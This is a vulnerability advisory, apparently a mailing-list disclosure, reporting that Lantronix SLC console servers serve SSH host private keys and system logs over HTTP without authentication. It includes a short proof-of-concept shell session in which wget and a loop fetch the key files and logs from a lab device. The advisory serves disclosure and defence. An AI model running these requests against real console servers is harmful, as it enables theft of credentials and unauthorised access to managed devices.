Multiple vulnerabilities in Lantronix SLC console server
Hi,
I stumbled on another bug during my review for console servers:
Summary:
Lantronix SecureLinx console server: Retrieval of ssh-private keys and system
logfiles
Confirmed on SLC32, Software version: 2.0, 3.0
very likely on all models of SLC series (SLC8, 16, 32, 48)
www.lantronix.com
Details:
Lantronix console servers come with a mini_httpd which doesn't care much
in its configuration in the subdirectories of DocRoot about Unix acls.
Lantronix SLC' have their /etc/ssh directory below DocumentRoot.
One can easily retrieve ssh private keys through the network without
providing credentials, thus rendering ssh-encryption close to useless.
Also one can read logfiles through the network. Though the directory
is named /cifsshare/logs/ it contains system logs, potentially also
snifferlogs from serial console sessions.
Note that console servers provide administrative console access to
devices hooked up on their serial lines (up to 48)
Vulnerable Versions:
Vendor Confirmation for SLC-Series, Firmware 2.0 (researched), 3.0 (current)
Patches/Workarounds:
Bugfix pending. Vendor is working on 3.1, to be released in August.
Supposedly fixed by then.
"Exploit":
%%%%%%%%%%%%%%%%
myprompt:~ # ssh slc
The authenticity of host 'slc (192.168.50.205)' can't be established.
RSA key fingerprint is d5:d8:93:33:db:b3:80:91:74:79:be:e7:ff:f6:c6:41.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'slc,192.168.50.205' (RSA) to the list of known
hosts.
Welcome to the SLC
login: root
Password: Connection to slc closed.
myprompt:~ # tail -1 .ssh/known_hosts
slc,192.168.50.205 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA9FZwKSNlfAl72aWewoXE1e8g09
9yCSqVKGTRWSkOBKV8oqVgX8ryj/adwSLbwxSi8HyLd9AfiNmyyTJ4/ITX4JgpNCcw8k6SNK3HrletSs
7z4EGHiYcB25gIgX6fQrnjkm1AP3HXR0Wkeg7B5wFqwqKkNUd/aPhegLxjpufB0g0=
myprompt:~ # wget -q -O - https://slc/etc
<HTML><HEAD><TITLE>Index of etc/</TITLE></HEAD>
<BODY BGCOLOR="#99cc99"><H4>Index of etc/</H4>
<PRE>
-rw------- 1 root 672 Jan 1 1970 ssh_host_dsa_key
-rw-r--r-- 1 root 601 Jan 1 1970 ssh_host_dsa_key.pub
-rw------- 1 root 526 Jan 1 1970 ssh_host_key
-rw-r--r-- 1 root 330 Jan 1 1970 ssh_host_key.pub
-rw------- 1 root 883 Jan 1 1970 ssh_host_rsa_key
-rw-r--r-- 1 root 221 Jan 1 1970 ssh_host_rsa_key.pub
</PRE>
<HR>
<ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">mini_httpd/1.15c 02m
ay2001</A></ADDRESS>
</BODY></HTML>
myprompt:~ # wget -q -O - https://slc/etc/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA9FZwKSNlfAl72aWewoXE1e8g099yCSqVKGTRWSkOBKV8
oqVgX8ryj/adwSLbwxSi8HyLd9AfiNmyyTJ4/ITX4JgpNCcw8k6SNK3HrletSs7z4EGHiYcB25gIgX6f
Qrnjkm1AP3HXR0Wkeg7B5wFqwqKkNUd/aPhegLxjpufB0g0= root@(none)
myprompt:~ # wget -q -O - https://slc/etc/ssh_host_rsa_key | grep -w KEY
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
myprompt:~ # wget -q -O - https://slc/etc/ssh_host_dsa_key | grep -w KEY
-----BEGIN DSA PRIVATE KEY-----
-----END DSA PRIVATE KEY-----
myprompt:~ # wget -O - -q https://slc/cifsshare/logs/
<HTML><HEAD><TITLE>Index of cifsshare/logs/</TITLE></HEAD>
<BODY BGCOLOR="#99cc99"><H4>Index of cifsshare/logs/</H4>
<PRE>
lrwxrwxrwx Oct 21 2004 authentication <A HREF="->
../../../var/log/secure">-> ../../../var/log/secure</A>
lrwxrwxrwx Oct 21 2004 devports <A HREF="-> ../../../var/log/devports">->
../../../var/log/devports</A>
lrwxrwxrwx Oct 21 2004 diag <A HREF="-> ../../../var/log/diag">->
../../../var/log/diag</A>
lrwxrwxrwx Oct 21 2004 general <A HREF="-> ../../../var/log/general">->
../../../var/log/general</A>
lrwxrwxrwx Oct 21 2004 network <A HREF="-> ../../../var/log/network">->
../../../var/log/network</A>
lrwxrwxrwx Oct 21 2004 services <A HREF="-> ../../../var/log/services">->
../../../var/log/services</A>
lrwxrwxrwx Oct 21 2004 sw <A HREF="-> ../../../var/log/sw">->
../../../var/log/sw</A>
</PRE>
<HR>
<ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">mini_httpd/1.15c
02may2001</A></ADDRESS>
</BODY></HTML>
myprompt:~ # for i in `lynx -dump -nolist https://slc/cifsshare/logs/ |awk '{
print $5 }'`; do echo ; echo ---$i---; wget -O - -q
https://slc/cifsshare/logs/$i; done
[.. too long to list it here, but you have enough phantasy ..]
%%%%%%%%%%%%%%%%
more to come.
Cheers,
Dirk
--
Dr. Dirk Wetter http://drwetter.org
Consulting IT-Security + Open Source
Key fingerprint = 80A2 742B 8195 969C 5FA6 6584 8B6E 59C1 E41B 9153